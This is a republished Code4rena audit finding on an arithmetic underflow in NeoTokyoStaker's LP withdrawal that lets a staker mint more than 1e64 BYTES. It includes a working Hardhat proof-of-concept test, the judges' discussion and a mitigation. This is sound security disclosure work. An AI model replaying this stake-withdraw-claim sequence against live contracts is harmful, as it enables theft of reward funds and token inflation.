Skip to content
Smart contracts Audit finding Intermediate

Underflow of lpPosition.points during withdrawLP causes huge reward minting

A rounding error in the staking contract's points calculation allows an attacker to underflow the points value when withdrawing LP tokens, which then causes the reward calculation to mint an enormous amount of BYTES tokens. The attacker can withdraw and then claim rewards to receive more than 1e64 BYTES.

rokso Follow with 0xnev, BPZ and 34 others

Originally disclosed on Code4rena

Submitted by rokso, also found by 0xnev, BPZ, Toshii, Josiah, ak1, ulqiorra, rbserver, juancito, juancito, minhquanym, auditor0517, auditor0517, Jeiwan, cccz, RaymondFam, rokso, MadWookie, kaden, 0x52, carlitox477, DadeKuma, Krace, Haipls, Krace, UdarTeam, kenzo, DadeKuma, ABA, jekapi, J4de, anodaram, LegendFenGuin, aashar, nobody2018, Ruhum, and Lirios

NeoTokyoStaking allows to stake and withdraw LPs. User can stake multiple times on same position which simply results in extended lock time and user can withdraw all of these LPs once lock time is passed.

There is a scenario when withdrawing LPs results in overflow of lpPosition.points. After withdraw if attacker calls getRewards() then attacker will get more than 1e64 BYTES tokens as reward.

Proof of Concept

Affected code block: NeoTokyoStaker.sol#L1622-L1631

Affected line: L1627

From below POC, you can see that Alice is staking twice and some specific amounts which will trigger underflow when Alice withdraw LP. Once staked LPs are unlocked, Alice can withdraw her LPs and call getReward() to trigger minting of more than 1e64 BYTES tokens.

Below test can be added in NeoTokyoStaker.test.js test file.

		it('Unexpected rewards minting due to underflow of "points"', async function () {
			// Configure the LP token contract address on the staker.
			await NTStaking.connect(owner.signer).configureLP(LPToken.address);
			const amount1 = ethers.utils.parseEther('10.009')
			const amount2 = ethers.utils.parseEther('11.009')
			const lockingDays = 30

			// Alice stake amount1 LPs for 30 days.
			await NTStaking.connect(alice.signer).stake(
				ASSETS.LP.id,
				TIMELOCK_OPTION_IDS[lockingDays],
				amount1,
				0,
				0
			);

			// Alice stake amount2 LPs for 30 days.
			await NTStaking.connect(alice.signer).stake(
				ASSETS.LP.id,
				TIMELOCK_OPTION_IDS[lockingDays],
				amount2,
				0,
				0
			);

			const priorBlockNumber = await ethers.provider.getBlockNumber();
			const priorBlock = await ethers.provider.getBlock(priorBlockNumber);
			let aliceStakeTime = priorBlock.timestamp;

			// Bob stake 10 LPs for 30 days
			await NTStaking.connect(bob.signer).stake(
				ASSETS.LP.id,
				TIMELOCK_OPTION_IDS[lockingDays],
				ethers.utils.parseEther('10'),
				0,
				0
			);

			// Set time to unlock staked lp
			await ethers.provider.send('evm_setNextBlockTimestamp', [
				aliceStakeTime + (60 * 60 * 24 * lockingDays)
			]);

			// Alice withdraw LP
                        // This transaction will cause underflow of `lpPosition.points`
			await NTStaking.connect(alice.signer).withdraw(
				ASSETS.LP.id,
				amount1.add(amount2)
			);

			// Before exploit:: Verify Alice's Bytes balance is less than 10000 BYTES
			expect(await NTBytes2_0.balanceOf(alice.address)).lt(ethers.utils.parseUnits('10000', 18))

			// Get rewards for Alice. It will mint HUGE rewards due to underflow happened on withdraw transaction.
			await NTBytes2_0.getReward(alice.address)

			// After exploit:: Verify Alice's Bytes balance is greater than 3e64
			expect(await NTBytes2_0.balanceOf(alice.address)).gt(ethers.utils.parseUnits('3', 64))
		});

Recommended Mitigation Steps

Consider adding proper precision for points and totalPoints and also consider checking for under/overflows.

TimTinkers (Neo Tokyo) commented:

@hansfriese - this attack is a different way of abusing the same rounding bug from #348; duplicates?

I agree with the severity of the underlying issue and really appreciate the test case demonstrating this.

hansfriese (judge) commented:

Totally, there are 3 kinds of rounding issues.

  1. Users can get infinite points by depositing 5e15 twice and withdrawing 1e16. So 0 * 2 - 1 = -1 = type(uint256).max
  2. Users can get free points by depositing 1e16 and withdrawing 5e15 twice. So 1 - 0 * 2 = 1
  3. Users would lose some LP(or staking reward) due to the rounding.

After discussing with other judges, I will merge 1 and 2 into one high and mark 3 as QA as it contains a lower impact.

TimTinkers (Neo Tokyo) confirmed


The original report as published on Code4rena, by rokso. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a rounding error in the points calculation during withdrawal causes an underflow, making the points value wrap around to a very large number.

Impact

An attacker could mint more than 1e64 BYTES tokens as rewards, potentially draining the reward pool or causing massive inflation.

What the attacker needed

A small amount of LP tokens; a 30-day lock period; another user stakes to set total points

The fix

The contract should use proper precision for points and totalPoints and include checks for underflow and overflow.

How it was found

  1. Alice stakes a small amount of LP tokens twice with a 30-day lock.
  2. Bob stakes a normal amount of LP tokens for 30 days.
  3. Time is advanced past the lock period.
  4. Alice withdraws all her staked LP tokens, triggering the underflow.
  5. Alice calls getReward and receives a huge amount of BYTES tokens.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a bug in a smart contract that handles staking and rewards. When you stake and later withdraw, the contract calculates points based on the amounts. Due to a rounding mistake, the points can become a huge number instead of a small one, and the reward calculation then gives out an absurdly large amount of tokens.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More from Neo Tokyo contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.